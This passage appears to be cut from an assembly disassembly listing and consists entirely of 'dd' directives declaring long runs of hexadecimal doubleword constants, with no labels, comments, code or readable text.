dd 474EAC8h, 8A4410F0h, 64C5BB6Fh, 9D33D060h, 80C160C9h
dd 9F631E68h, 2A74D800h, 1DF84066h, 0A0E86FAAh, 82FB76E7h
dd 44FA9BCAh, 2866A600h, 0FA3452B0h, 65F0002Eh, 409D296h
dd 0A4A04551h, 247B3DE1h, 73200C92h, 20C8B031h, 1D137816h
dd 803A227h, 88E8CD2Ch, 0EAAF4B2Bh, 473A34EAh, 0C41CB831h
dd 0A0E0CCEFh, 0BD4F1Eh, 614EDC98h, 314BACBFh, 0C95C0880h
dd 0CF24BA93h, 386E043Ch, 6CED69C0h, 0EA14A614h, 841D9Ah
dd 1E59ABC2h, 0C9E0FD79h, 5448C0D4h, 4730EAD3h, 4BF883Dh
dd 0E804EBE3h, 245C6040h, 0EC9DF947h, 55E704CBh, 0C8C4D17Dh
dd 62605FDCh, 1DF1EBE8h, 22703D9h, 0B5C16D1h, 8860908Dh
dd 40096703h, 0CD693Eh, 0E0DFD498h, 332B02A9h, 18764A32h
dd 3287041h, 8A282FE6h, 1AC8A8E0h, 9CD32002h, 91331Dh
dd 30670454h, 0B0FE7Bh, 18B09033h, 0E0994AF2h, 469564B0h
dd 0E9BE20ECh, 0D92C7225h, 8BFF04CCh, 2D60A92Eh, 6010CA02h
dd 8009DD08h, 43269026h, 200A847h, 3D48DC3Ah, 95C100E9h
dd 7F7B824Eh, 10135C22h, 74F46D8Ah, 0E80103ECh, 0A1E45FA7h
dd 9089AC7h, 148431C3h, 131CB8A8h, 90A4DDDAh, 143A3F15h
dd 33DE4060h, 0DDA111B7h, 5CE08085h, 8482FFE7h, 88395A73h
dd 11093154h, 10E8BC1Fh, 0BCB6A94h, 4461847Eh, 7B03F872h
dd 0DE3288E2h, 80C2C29Bh, 56C3C108h, 3AA8907Ah, 1D0ED6E1h
dd 3564E522h, 3000C35Bh, 6641FFA2h, 4888198h, 26F98C23h
dd 2C4527Ah, 77E19B70h, 0C74280DEh, 0C240FE16h, 7310426Eh
dd 0C88C5ABCh, 1E254E24h, 0B93C7AFAh, 3DE28920h, 10BDF0EEh
dd 82B6112Ch, 0AA366840h, 1268E497h, 0E050AD99h, 0FA603C80h
dd 0D7577538h, 0C06D50DBh, 798A4F8h, 859FE90Dh, 0B1644010h
dd 28001979h, 0FC7C2765h, 0ED211654h, 6385E8h, 51A03931h
dd 556BCCBBh, 9BF52D0Fh, 0C94300F1h, 7B6C4813h, 5063019Ch
dd 38E6E885h, 543F20A0h, 19912501h, 0B07C9BFAh, 0C849DF0h
dd 6CF11011h, 9748F010h, 0AF9F07BFh, 0F5808918h, 308509CCh
dd 0E7785B4Bh, 173F54A4h, 0F8878DEAh, 0F1F03875h, 0A1630069h
dd 0AEB7E2CEh, 0F21FCC42h, 0B80A722Ch, 0FE2508E6h, 0AD293062h
dd 8703509Bh, 0B0713806h, 535DA039h, 61183093h, 58AD4B0h
dd 7C0C9EE0h, 0B8A034ABh, 0B11B600Fh, 0DCCC558Bh, 9719841Ah
dd 35FE0688h, 0AD370729h, 60E1201Bh, 0DD4E2536h, 33AE8900h
dd 8F2B580Ah, 0CCA95C99h, 6F312F00h, 0B989A719h, 7C9FB600h
dd 0F03C6D25h, 85350C6Ch, 8A608DD6h, 90FFCD30h, 0F03C5D27h
dd 705C6062h, 0CA04E777h, 8DE0AD1Fh, 85A19F41h, 38B09514h
dd 4635B989h, 0C28A37Ch, 163DA818h, 223C0F25h, 0B21D2227h
dd 2F7C00ACh, 0D4AB9C10h, 0FCC6DF0h, 146FC520h, 746AF212h
dd 3D9900Ch, 8E308518h, 611040F3h, 62ADF037h, 69F21098h
dd 73B11880h, 101D1455h, 38C57A62h, 3C008D1Eh, 0BC3C7D27h
dd 0D1713902h, 0AD2F9Eh, 5176E075h, 0BD548770h, 0DE0367D8h
dd 838FA042h, 25800708h, 89B7CC5Dh, 0EA890C10h, 78583163h
dd 0B7810055h, 3CE286D9h, 723289FDh, 8265794Fh, 81BA97A8h
dd 620208C0h, 0A3AF6880h, 76637750h, 38051A0Eh, 4A0A81E8h
dd 91D071EAh, 490778D6h, 0F80728B0h, 0C4B17C7Bh, 8108523h
dd 1D0A3318h, 2C64B0B5h, 0E2078521h, 0D474C88Fh, 0A46FB03h
dd 45FD4555h, 206CF2D0h, 8A9857A0h, 0A82AB730h, 63741083h
dd 0C7084869h, 0C4E96101h, 3DA48554h, 6D715884h, 0CC1A8081h
dd 8305FA9Ch, 0FCF40E87h, 81459C4Fh, 0B16C8584h, 98B74A00h
dd 0B5302360h, 288775DBh, 8C880993h, 10E94CB0h, 2F0A253Fh
dd 0C689BF3h, 0BB20E41Eh, 1C993D3Ah, 6C00B904h, 0FB0F87A4h
dd 0DB89070h, 0B6185569h, 470C2060h, 9F5A0E05h, 0F380841Dh
dd 2A87AB20h, 49C43944h, 88823C79h, 30494785h, 180C31E8h
dd 10101FB0h, 7C5CB6h, 9B49248Bh, 863AAFF7h, 1CEE7B26h
dd 64316D92h, 3E110561h, 0F19C4055h, 4576D286h, 0E637FA03h
dd 3ED46EF2h, 0AF007F11h, 0B2160927h, 0B7243188h, 340A00A1h
dd 250A7071h, 0A8E8E065h, 3EE30886h, 555302D9h, 903D101Dh
dd 0EA0BC080h, 0F500868Eh
dd 72E3CC2Eh, 0E876BFF2h, 21A61E77h, 2887008Dh, 36A2C179h
dd 2D1AE601h, 0DCF39BF7h, 0FCCCFC43h, 34AF1903h, 18AC8030h
dd 4B9BE41h, 0B815250Ah, 31948DDAh, 0AFA080C7h, 0E3871D1Eh
dd 0FC363A7Ah, 0A971489Ah, 11C0DC8Eh, 0B7CD3B07h, 2125E601h
dd 87202AC2h, 289F59C5h, 0A55C4ADh, 89C83AEh, 41502FD3h
dd 81241C90h, 8761F81Dh, 20870649h, 82419F92h, 0A04089E5h
dd 19787E57h, 20109430h, 36E24DEh, 8A0B97E3h, 40009BF4h
dd 0A4179573h, 0C0AEAFE8h, 256DDEBCh, 85149780h, 98437C6h
dd 879C9649h, 10893D48h, 76FFF190h, 36140FA9h, 4600F42Fh
dd 0AE1DAC03h, 8ACC3Bh, 0F686EB63h, 1DC1E7FBh, 0C78EF215h
dd 0C01D1944h, 0B01E67F3h, 8DB25A00h, 0BDF26332h, 8B0F0091h
dd 179637D4h, 0C301262Eh, 83F5F6BEh, 9FF08F59h, 1AE0618h
dd 10F3D184h, 4C261701h, 3283F13Bh, 38AF7BE0h, 774210Eh
dd 5907F937h, 0DBE841A9h, 0CC1FE153h, 0A258500Fh, 0A06C0034h
dd 544AAD09h, 9CF41E2Ch, 841F80FBh, 9F383DDBh, 0DD1C2D06h
dd 18307B9Dh, 78865A85h, 530DCBE7h, 10F7E484h, 7703EDFCh
dd 6DD5C4Dh, 14705F38h, 32434FFh, 93048B87h, 81A2C483h
dd 0B2C3280Dh, 890680ECh, 33E92414h, 55109A5Ah, 8199CDCBh
dd 60BBF02Ch, 5F16D41Eh, 3407C714h, 23331C8Bh, 0E730CF3Ch
dd 0C71853E9h, 0A60C3114h, 5C650633h, 44265893h, 0F791402Ch
dd 0AE87D031h, 908C478Fh, 0C8473CD9h, 640C8B28h, 0E9E5A0C1h
dd 20995241h, 1702885Ch, 48689EC3h, 4862260Ah, 0B0034DD3h
dd 5AF081EBh, 1813C90h, 0E3BA525Eh, 1E83802h, 148B28D6h
dd 1F681935h, 8D34DF6Dh, 0C8B209Bh, 0F7A0630Ch, 5AD3298Eh
dd 215BDE60h, 0DFE45EF7h, 61D5E915h, 0E2ED0EBCh, 2923E1CCh
dd 0B9705DEFh, 0D2C9CA6Eh, 8B9C1EABh, 80DDD504h, 7D40E524h
dd 4D7F3B99h, 0CFB0CD9Dh, 0F5A772A9h, 4711023h, 860E5C1h
dd 0B4C27F5Ch, 0EA01068Bh, 5A4C32E9h, 3B69B906h, 40FA58C3h
dd 893C562Bh, 956319E6h, 0BFFCD6BBh, 2A0EDD37h, 7F48206Eh
dd 5FFD010Fh, 4B2F2559h, 31D6DA43h, 0CEE93F5h, 33556808h
dd 8E443037h, 8172EFh, 0C840DD6h, 4C7835Dh, 44188748h
dd 0AE3168D2h, 3E083905h, 0B8F18100h, 4AED0A07h, 0E8D4CA89h
dd 0BD717394h, 9543D46Fh, 0DB72B729h, 55609870h, 1908EE57h
dd 8A0BDA23h, 0D545F8CAh, 0E9FD8906h, 0AC40E22Ah, 4C576695h
dd 8001401Eh, 0D7F651E7h, 0DFD1EFD0h, 0F9FAC7E4h, 0E2C8FDCh
dd 4F8282Ah, 0E9525B80h, 50D8D731h, 81EB760Ch, 505A24ADh
dd 4F9295F4h, 8B985B68h, 0C15F6100h, 8102E7h, 0E15567CFh
dd 42C4681Fh, 7E83CDAAh, 0D33B01B9h, 2FFC0951h, 0E1CA0329h
dd 602AA25Ch, 0A3E9D906h, 0CB2662F6h, 95900868h, 0F8918E3Ah
dd 55E28AB9h, 5D409468h, 1C3CBB53h, 8D18E921h, 42498F2Eh
dd 8F8389F2h, 779F74FFh, 5C10EC58h, 0E99C6654h, 302FB536h
dd 3EE383CCh, 0FF37818Eh, 0B4806F03h, 293D9644h, 0FD30C87Dh
dd 0EABB3240h, 23FE3D7Eh, 4F14310h, 0C0B60F5Ah, 94C8583h
dd 14F757A1h, 0A85F6D91h, 817DB0E3h, 2035CB02h, 43FA2931h
dd 46C2D253h, 83844413h, 488716CCh, 67B3005Ch, 0C052E380h
dd 0E97A08EBh, 5C29EA6Ch, 60C37A31h, 0EE014738h, 7EDE875Dh
dd 9C4016D2h, 655EEB81h, 0E4017FD2h, 2112C1D3h, 315C1A74h
dd 4382C22Fh, 0C1A03520h, 0F7B7241Ch, 27AC681Ah, 51A40115h
dd 0D452AEE9h, 1C828966h, 0E9540CD6h, 5912211Dh, 383A8893h
dd 2CD81DF3h, 0A5B4E90Ch, 0BE562858h, 0F2010112h, 0E089505Eh
dd 830B4105h, 898D47E8h, 6C43CB13h, 2B5A21FAh, 94E91F09h
dd 0F61D99FAh, 6CC2CAD5h, 8CBEA1EAh, 0E20D6E80h, 91285826h
dd 0A7F3013Dh, 1C8BD830h, 6B19B833h, 246A372Ch, 0B303531Ch
dd 885150FBh, 0F1E893DDh, 0BE5230CBh, 234A3C1h, 0F5E1120Dh
dd 55AF005Eh, 21249D31h, 511F5D98h, 0C1693C68h, 29ECBB80h
dd 0A4E939BDh, 0EDB901D3h, 312C6A47h, 0CDE330D9h, 0F9933FB0h
dd 833B6A4h, 0EB4C2605h, 33F40CE4h, 2472F21Dh, 29F67603h
dd 0F94F5AD7h, 1E874635h, 832BB652h, 107E507Dh, 4EFC119h
dd 0B2600306h, 0D86412B3h, 0B66B0042h, 3187BFC9h, 0A855C2CCh
dd 655C814Eh, 127523B9h, 0BF41F921h, 35316802h, 52731F33h
dd 106ADCD9h, 8A6E9E08h, 86F12954h, 347D9AE9h, 3A01BA7Ch
dd 0EAC138F8h, 46CC8107h, 0DD7A05B8h, 8C539D68h, 0A500BE8Ah
dd 813A9F55h, 3B6869C6h, 0E6031C03h, 7A3B7912h, 92841DE5h
dd 0DAB10421h, 201618DDh, 48C177AEh, 6A7E4931h, 10D88152h
dd 64B073D1h, 0E5FAA20h, 0B22DD8F7h, 253240FEh, 4AA66ACBh
dd 78A80500h, 36E9BD99h, 5A2CCB7Eh, 3F559700h, 59F86993h
dd 0C5CF8354h, 8BAE99A4h, 48EDF559h, 6A382EA2h, 0CC6066Fh
dd 56AC10h, 7475B850h, 0E9972ED1h, 0DB780524h, 4492CC67h
dd 2000931h, 763E4CCFh, 0E29814Ch, 867B1748h, 7B2373FBh
dd 0F5E06056h, 0EC885066h, 246C8A0Fh, 0A03EAB02h, 0F99DB96Fh
dd 32A27ABBh, 0C6D18A29h, 74AA4913h, 0DA005838h, 5B67EA80h
dd 0C90FB753h, 458EB450h, 9C826DCCh, 0E2C001DBh, 63CAEC04h
dd 0F2EAFE73h, 0D5303817h, 480B8552h, 0ECBC1493h, 0CEDCFD44h
dd 0FAB2822h, 45110208h, 6C2934B3h, 0A229308h, 100824CBh
dd 92ED8A19h, 2C7732F2h, 2909D010h, 454F0F2Dh, 8A56F715h
dd 0B802CC33h, 0F6372B05h, 62E87E01h, 2C8B0E2Dh, 0C0ECCF93h
dd 550B6EC3h, 2931BDECh, 0C6C5145Ch, 9201B641h, 5D989928h
dd 5459F868h, 2364D391h, 570DCE81h, 0FEE1D000h, 8004C960h
dd 732859C1h, 98D69BC8h, 0EE7FE80Ch, 3B1A4082h, 0DBEB54DFh
dd 9A643F68h, 0E57E2CD8h, 0B25D0842h, 5C3869EAh, 0E2538049h
dd 0E3A0241Ch, 94CA2128h, 333306EBh, 6093122h, 0A384C3E9h
dd 83207FF2h, 48E4C20Fh, 49BE68AAh, 72171F26h, 0D28637E1h
dd 4EC62DC2h, 3EC3C982h, 63BF0FD8h, 92E9490Bh, 61379A4Ah
dd 1008039h, 679858C7h, 53C6489h, 8844D284h, 5F9CE689h
dd 0BA865DA5h, 74ACCD28h, 262C0AC5h, 71ADE828h, 8BCECEEFh
dd 48A85DF6h, 0F90FBD55h, 0C6252C56h, 3978DABCh, 0C02CC8FEh
dd 0E51162Dh, 0C5095B42h, 59EE9A02h, 0D202D3E0h, 0FFEDA492h
dd 6B5E0D26h, 0AD325400h, 98D6F70Ch, 5022E74Dh, 3ED00429h
dd 7D9D272Ah, 48AE90B2h, 0D41CEAC1h, 8458BAF6h, 8820BC51h
dd 46794D6Eh, 838D8842h, 100480Ch, 962CD4Ch, 63302C5h
dd 0C1063175h, 0BB685C0Dh, 0E28F4D13h, 18203CE6h, 0D1400011h
dd 0D44305E8h, 0D9FA614Eh, 5CC0E564h, 400303E4h, 0B2A8338Ah
dd 22C4F91Ah, 47C46488h, 71D7512h, 0F8FE98E2h, 49A43A68h
dd 4B774F49h, 49E4988h, 12E95D38h, 80265FBAh, 0E816FAF5h
dd 0C3F8B22Dh, 2ADBB08Ah, 81250701h, 0EBFC7FDCh, 0DBF6338Dh
dd 0CBC16328h, 21683E1h, 0F75BDC88h, 5E4C031h, 0FC8CECF8h
dd 50C27EF4h, 0F7A5EBE5h, 500B0262h, 3820775h, 87054FD0h
dd 20358744h, 0BE06510Bh, 666F1F13h, 595465AFh, 518343D8h
dd 0EEFEDAE9h, 49FEF6A3h, 1664AED8h, 0F628866h, 0E718CE6Ah
dd 0CAB8351h, 30C34E4h, 3D46E92Bh, 0C6FE281Dh, 0CE7170C9h
dd 943AF6ECh, 4C2D00A7h, 12069E4h, 8358C11Ah, 66F129B2h
dd 4DE979D2h, 0C1100B16h, 2C891848h, 8073701Ah, 171D252Dh
dd 0DF404683h, 108D77Ah
dd 0D98F8h, 5BF51490h, 0F702E1C1h, 0F2E9D112h, 0FE019F43h
dd 1706C75Fh, 90D9848h, 79E15D7Eh, 0DA0B17ABh, 245F37A4h
dd 17E020B4h, 67A5A22h, 8D30A8B5h, 633BD002h, 63C331FAh
dd 0C63D9838h, 22C75C85h, 4C016554h, 970505D9h, 13CF122h
dd 4167DBD8h, 51E9D874h, 0C67C3937h, 8041C6Dh, 0F7921984h
dd 66CF9453h, 0C643851h, 2366B800h, 21256B27h, 6AE2E2Ah
dd 8342655h, 5A097B18h, 0DE4E0759h, 3B49B60Fh, 4B65CC5Bh
dd 82A110F8h, 48045989h, 7F538855h, 4AC80518h, 0B765BCCh
dd 0EE0977D8h, 7BF61803h, 27059BBFh, 0B09C84F1h, 890957D1h
dd 0B08468E7h, 4A4BA95h, 0E93FEA39h, 369BA19Bh, 48D65275h
dd 9E9259D9h, 5EBDF758h, 0B65C8383h, 7017447Bh, 2677AB1Dh
dd 1132F8A8h, 42ED557Fh, 4457428Dh, 68500237h, 42C660C8h
dd 7202CA41h, 0A7979D2h, 1B52784Ch, 0B01737A8h, 7BB32C79h
dd 7D38222Ah, 385CC755h, 4D1D942Dh, 56E01063h, 424FE90Ah
dd 0D671A0E8h, 0BBD0078Eh, 8157A048h, 421CD1F2h, 53DF4969h
dd 0BA60A903h, 7CBE86Bh, 614B2425h, 0E29F0E05h, 0DA21EA20h
dd 4A12425Bh, 0E6D22BE9h, 9D3451E5h, 7EAA83h, 0A7685358h
dd 0E92E5011h, 2E311C2Dh, 0EA9CE981h, 0C4A1CA9Ch, 29391CADh
dd 5E5D0149h, 3C450C68h, 0C04DCF0Eh, 0E18164E2h, 8F6551BCh
dd 14EBC9D8h, 987CF119h, 0E045F549h, 0B93C9EE1h, 5D54550Ah
dd 12884857h, 0B274C802h, 37C92118h, 2465F624h, 128E2BB8h
dd 0A3789151h, 105C6804h, 9049CBA8h, 0F2965D78h, 131DE150h
dd 0BB623CFh, 4F75F17h, 0ECCC7F1Eh, 2AA17EB8h, 4A850AD6h
dd 0C3661047h, 7494313Dh, 1600BD0Bh, 29ED1DEBh, 89095BDFh
dd 42C1E9F9h, 0FB434014h, 30A4220Dh, 69B145FCh, 39881416h
dd 0F65D5DA3h, 3DEA83B1h, 6AE91F14h, 214741A4h, 0D91344C3h
dd 0BD01786Ch, 604CE4DCh, 5E5C116h, 0F034CAC1h, 54E392A8h
dd 0B9588B1Dh, 5D68C3EDh, 3A4BE294h, 57E10051h, 9179D7BFh
dd 9FE92E44h, 5453E134h, 2D4265Bh, 883D18BFh, 32894015h
dd 7191067Dh, 3BD7A6E9h, 0E7B5C281h, 0C18F29AAh, 4E0C123h
dd 7C0B0858h, 6193251Fh, 0AF73507h, 0FAC631C3h, 0C957C358h
dd 0B028348Bh, 8EFB0186h, 0C0063C5Dh, 0E9C0B70Fh, 78FD69BFh
dd 0C95364A4h, 504EF56Bh, 36C968FBh, 65F7CD92h, 6660FA8Fh
dd 433EB983h, 9BA27E4h, 1CA9B917h, 5D4B901h, 2968878Bh
dd 0ACD2A695h, 0F79131E3h, 0A14DDDDEh, 0AB4FFC3Dh, 339061F1h
dd 631EE9Bh, 305C0D25h, 0B4D5F5ABh, 0A194A16h, 2E745202h
dd 545009D8h, 7E676D82h, 0C0EAC102h, 0B4E51E2Dh, 716B808Bh
dd 295A3098h, 8759CB0Ah, 0C90761Ch, 0A741EE24h, 0D570D812h
dd 0E1A52790h, 84C9B6A4h, 68038854h, 0E72A57D4h, 0BF0EC28Ah
dd 1871D11h, 78E30BBAh, 6AFAD560h, 2EBD065Fh, 6CD04223h
dd 6137B60Fh, 528B3B2h, 81D99354h, 2D450641h, 0C17E37A9h
dd 59DAF3F0h, 25727B9Ch, 0F990D82Ah, 250732B8h, 0E0D164CCh
dd 0D7D48CF4h, 60518862h, 1471E21Ch, 0DE5A10DCh, 98080121h
dd 0EEC00364h, 0BC9B8002h, 93A0062Eh, 33B088h, 0CA81DAF7h
dd 0CE05103Ch, 53A26843h, 0BBF638Ch, 5926485Eh, 1FEF2F60h
dd 0F6A96D15h, 7505038Eh, 2A1DB411h, 0C8B10C4h, 508768C2h
dd 0B1A96F8Dh, 0A6D874D3h, 21ECD962h, 61D78EEAh, 6B087ED2h
dd 0B437ACF8h, 6F7CE29Bh, 8A78020Bh, 3ED0A34h, 0F3BBD9ACh
dd 835BADD9h, 58E78816h, 267AF380h, 90C0806h, 6EA06602h
dd 0D7300BB2h, 0C0145AF0h, 4A8503E7h, 38058600h, 266ECC3Eh
dd 209FF001h, 604C9808h, 0DBEB774Eh, 550654Ah, 3AC7E7E5h
dd 0BD7257ADh, 5E88E477h, 8DA51681h, 78528210h, 0E073EE47h
dd 20C1094h, 59C80102h, 8E40C129h, 699311EFh, 0AC14DA3Ch
dd 3EE1397h, 29060905h, 5E81B216h, 0ED30C283h, 72E4600Dh
dd 32E6805Bh, 0D8ECF6A1h, 5AFE2CF6h, 0E1907454h, 594CCFE4h
dd 85A07E66h, 832AB252h, 30278B28h, 16EE8BF8h, 22E924F5h
dd 0A4BE80A0h, 4E20310Eh, 81D6F700h, 6F1DC5CEh, 0E9461554h
dd 13EFE35h, 0DFB25925h, 0ECE96048h, 349359D7h, 3ADFD154h
dd 0D3291486h, 0CD0D7C5Ah, 1268CB5Dh, 816BF04h, 3FC1FD00h
dd 5FE94B05h, 4976092Eh, 95F22380h, 2905A277h, 0D18959CAh
dd 9E5CF588h, 0E82527F5h, 68479196h, 753E3830h, 0E31AE424h
dd 1DCEE9C3h, 0C9FA895Fh, 0E0103F44h, 0D3302EA9h, 69C40C6Eh
dd 0B054984Dh, 5303A183h, 5D25E16Ch, 7198A546h, 5A65692Eh
dd 4B1AB4C0h, 56520743h, 97E54CBEh, 98F2F5BDh, 7A2EE935h
dd 5A9C3532h, 0E59EA0Eh, 0EE68C2D0h, 58D2A376h, 340A5F1Dh
dd 265DA42Bh, 897DCA5Dh, 731D42EAh, 0A56884A6h, 293A343h
dd 7F503C5Ah, 0F213C0D1h, 0E96D14CBh, 0F04C406h, 81307C29h
dd 392C8BE8h, 3105925Eh, 3A9305E9h, 71C7A85Bh, 2D201C43h
dd 37648308h, 14E5D829h, 500F9507h, 8147A009h, 763BB1F1h
dd 0BA0C823Eh, 0F81B9543h, 73CD249Ch, 0A1CC6922h, 2E505120h
dd 6277875Eh, 0D0E83CD2h, 5080C6D8h, 7DF00B8h, 0EA05189Fh
dd 67036042h, 5258C531h, 5A86CD89h, 0E94C9C4Dh, 9F82C5CCh
dd 92556C2h, 59A7E2FBh, 0F4554410h, 1D0C5D18h, 206B900Ch
dd 4F0370DCh, 105EB67h, 8DEEF2DEh, 14170C08h, 1A2D20CAh
dd 0BC9043C5h, 0BA525700h, 0F5282DB4h, 4CB0D969h, 4E982F71h
dd 3829270Bh, 8A1A0062h, 1214C6E4h, 1E5AD789h, 0B2698140h
dd 756DE970h, 0B6132066h, 0DA601764h, 41BBA198h, 9FF83DF1h
dd 6082E716h, 66C9405Bh, 2EF2665h, 3E2400F6h, 0CA017619h
dd 580880D0h, 83C1274Dh, 92D78832h, 0CA0FE1FCh, 932DAD00h
dd 3B66431Dh, 0F40145Dh, 4A9F0559h, 0C53D5872h, 0DD68510Fh
dd 215F6056h, 1C178C0Ch, 0CFC05EE9h, 285951BAh, 2915B2Bh
dd 2A410609h, 49E3D2F7h, 0EF04A4BEh, 1A6D6A5h, 2CE9AF80h
dd 82089626h, 1C947F2Eh, 6872AA80h, 34C15192h, 0DA578E7h
dd 9B1DD481h, 242907C8h, 284986CFh, 0EAD80F8h, 64311795h
dd 0A1B1F8C8h, 241967DAh, 81CB365Eh, 122DE986h, 0AAA1F97Ch
dd 930128F6h, 311F1D06h, 2109FF29h, 813A2CBEh, 0EA8044B2h
dd 647E5630h, 0D45A40F4h, 66D788DAh, 0E3C51E94h, 0E1867DD0h
dd 80D112F6h, 0C8E609C1h, 81592AA5h, 7C4E6C86h, 5E54808Ch
dd 0BE763D68h, 78256225h, 0BCEAD0Fh, 0B53C2FE9h, 93E61ED6h
dd 206C4D7h, 30F66845h, 28CA2FAAh, 5CDC02BBh, 0EFC17ADDh
dd 0E2989743h, 34FD6EAh, 0F3C5B817h, 16987002h, 0F659406Ch
dd 40DD39Ch, 0A72D5EFAh, 3BD9422Ah, 509412E7h, 2C9E6B0h
dd 571137E4h, 0CCC3E9C1h, 0A7D65A0h, 8123F64h, 0F9F656C0h
dd 0EEC1A05Eh, 274D14D2h, 0EB41AF4Eh, 14E90800h, 4279B984h
dd 58037D2Eh, 0D897BA5Bh, 51BD021Fh, 31013B4Dh, 0D47941FFh
dd 36643373h, 0DC5E0D3Fh, 3E3194E0h, 5D9344C9h, 4011CE38h
dd 0B6072D7h, 7A7E4383h, 0DBF70E3Bh, 0D58DEB87h, 450E309h
dd 0B1924615h, 8771D39Eh, 0D0215C00h, 5A590992h, 0C00B8007h
dd 0B24A840Fh, 77FF13B8h, 7CC20028h, 3155D55Eh, 5813F39Ch
dd 9C4AD9A6h, 0BC0BBAFDh, 10D7D45h, 0E2C14A31h, 0A95ECB70h
dd 3E923197h, 25E3B233h, 2410966h, 4C3D9FFh, 0EFB4B04Eh
dd 792B5804h, 0BC80F329h, 48786AEBh, 0FB341FF2h, 0E90803E8h
dd 6227853Fh, 1B3B1A5Ch
dd 0B7C451h, 0C9BF5F29h, 32200664h, 0CF8BEA02h, 0BA6B509Dh
dd 0F82159A2h, 2245E1h, 6E8C1h, 10289435h, 0F305484Bh
dd 459D621Dh, 0B0433F42h, 0A82C1E0h, 714BD904h, 25E82DDCh
dd 0CD8BE363h, 0B06D365h, 137ADE60h, 95EF789h, 26D96BF5h
dd 3F280794h, 3D54B4D9h, 0F4BF9686h, 620BD227h, 744C5355h
dd 0C6366025h, 49B69C42h, 76CCE81h, 0C89F200Ah, 6514D9FFh
dd 88DFA8Ah, 0A414041Ch, 0FFE568C4h, 55696110h, 0FBFCBE03h
dd 0EED1CD7Dh, 12A25539h, 0A4DD0018h, 31A146F8h, 0F57D648h
dd 0E16985F6h, 151CE940h, 1F805154h, 3AB4881h, 0E9464E36h
dd 212C7D73h, 841798DDh, 283BA839h, 306EE90Fh, 2A5E29BCh
dd 0D2595852h, 82102669h, 0BC6439C2h, 5C7A3C32h, 15ED6E4h
dd 3344F8D6h, 0A980C301h, 48135DD7h, 3001778h, 0CD35F32Dh
dd 762FE9CFh, 35921423h, 0B254F8A0h, 27E066EAh, 6DFA5855h
dd 0A75F1879h, 4BBD0C48h, 0D858F62Eh, 3094537h, 5AE7055Ah
dd 0EDEB61DBh, 5B1899CDh, 29110232h, 0A2D60CFh, 348BCCA8h
dd 0E9C3FB91h, 68E11F17h, 0BCC6A5EEh, 52301800h, 0F3BD5576h
dd 1DC8000Fh, 0F581DDF7h, 6E287419h, 553D085Ah, 0EEC26052h
dd 3B7B5B64h, 8B502920h, 9157D45Ah, 3C625E26h, 0FE0C9FD0h
dd 8C9CC3h, 0D4F6CCFEh, 20CECC0h, 691F480h, 0E7301C42h
dd 5BF80E58h, 0A1C3D33Dh, 87D302DDh, 3A361E40h, 816B5916h
dd 106269C1h, 8404CC9h, 48444E6Ah, 0C20B76Bh, 0A84E5F76h
dd 41E20FC4h, 0BCB0113h, 89C84714h, 92242F3Ah, 44279D79h
dd 1618EC34h, 3C8C7DDh, 41EBE970h, 348F5724h, 4E85D06Fh
dd 9AEA3C1h, 795FD568h, 71E1979Eh, 890EE53Ch, 68E8210Ah
dd 0BC66102Bh, 3454AB9h, 3AC82527h, 4BE8D2F2h, 4701E280h
dd 0C1B75366h, 5BD8FA28h, 0C8B42E50h, 0C5EE1820h, 9D7E1C77h
dd 0E2D3593Ah, 2C0FBA7h, 5240D0B7h, 4A800FCCh, 3CBB842h
dd 9D91245h, 7220D089h, 0B2520482h, 0ACCAFE86h, 6066038h
dd 5BE9D2F6h, 5E2A1202h, 535918DCh, 0A1096851h, 51783362h
dd 0FE0540CBh, 314B209h, 40C3C829h, 70F42D08h, 0E9601C0Fh
dd 27DAF5B5h, 52D869FBh, 0D97544F1h, 217CE20h, 6843FC02h
dd 896C6DD1h, 4C18F201h, 448E9BDh, 5273712Fh, 290642BAh
dd 0CA745F62h, 242AAAB8h, 7E4A3AF0h, 0A45CE788h, 7E215C64h
dd 0D1C20900h, 66A268E2h, 1C4F46BCh, 0C8D829B4h, 4369012Dh
dd 0F801374Dh, 0E8074405h, 0C253DFF3h, 0BAE4080Eh, 1A349069h
dd 51488CC0h, 0ADA2A42Dh, 7C6FE982h, 0F93504D2h, 0F90242BFh
dd 0E14737C0h, 6BB8EDC3h, 4D25F748h, 35F05661h, 0AD63303Ch
dd 8F891258h, 8A1E716h, 6602BEB2h, 52500128h, 0B6599468h
dd 63EFFC1Eh, 0BE6F7792h, 0BB94C77h, 4AD87C28h, 0A71D8531h
dd 20C64A2h, 0E943CC52h, 16037732h, 0E27594ADh, 0EE838027h
dd 25220148h, 9CD2E602h, 0F090134Ch, 56505FAAh, 0C760B0B4h
dd 67F78010h, 5BFD3928h, 0C51DDDBCh, 8CE9891Eh, 478FDF40h
dd 562B6FB0h, 0C227C4BFh, 0E1A0D1CEh, 2C2FE95Ch, 0A5D22EA3h
dd 0E6499B45h, 1A928442h, 382CAC01h, 6BD2CF04h, 0E6754764h
dd 62F56912h, 1F72FAF0h, 26D15CB6h, 41F1072h, 0FD0899B7h
dd 0A4EC07C4h, 2632A910h, 5B390D28h, 2EB29F07h, 19B84BE4h
dd 7117B902h, 1CF05CADh, 425472FAh, 2CB953F4h, 400F12BEh
dd 76638BD0h, 0C266097h, 0D45534Ah, 2D4FD6F6h, 1B8F7DCh
dd 6CCB33C6h, 3005E0C1h, 5388D695h, 30E114B3h, 1C24A3DDh
dd 2B27B67h, 5307C25Bh, 0DC25EB88h, 0AD509982h, 0D7676ECCh
dd 0A20B7C2Fh, 6E9C1B22h, 1F6ABC5Ch, 68060FEAh, 4FEF3E1Fh
dd 59BB0B94h, 0FEE7B040h, 8F49D4BCh, 29094B51h, 0B015E623h
dd 42681267h, 107CE315h, 0DF4C068Fh, 0A38AF02h, 589B860h
dd 0D0016660h, 0CBA4D1A3h, 144D761Ah, 830FD0A1h, 27224868h
dd 160F71B9h, 0B98594Fh, 7C832EFBh, 5DFF40C8h, 563007B7h
dd 0D8315E21h, 0BB6245DAh, 180DAF41h, 0BA65E991h, 74050079h
dd 356EE438h, 7BB00C0Fh, 0B2C10124h, 0E3A2C512h, 12268E48h
dd 5B5462ACh, 141825Bh, 0FE7252D1h, 0CF4A04D2h, 0F578904Ch
dd 0E2F3FD88h, 0EA010968h, 0E9E09B9Dh, 0FD7DE27Bh, 84A497D2h
dd 2C0DADD7h, 0DA600B1Ch, 16163F20h, 105AD301h, 298F0B3Eh
dd 5628C775h, 3B6C27A8h, 5974103Ah, 9266545Ah, 70315EA9h
dd 0D7667E56h, 0DB40275Bh, 74374BEBh, 0A09E9679h, 170CD008h
dd 5633FF01h, 403936E9h, 0E2317638h, 0B4E7D8FDh, 1CDE5318h
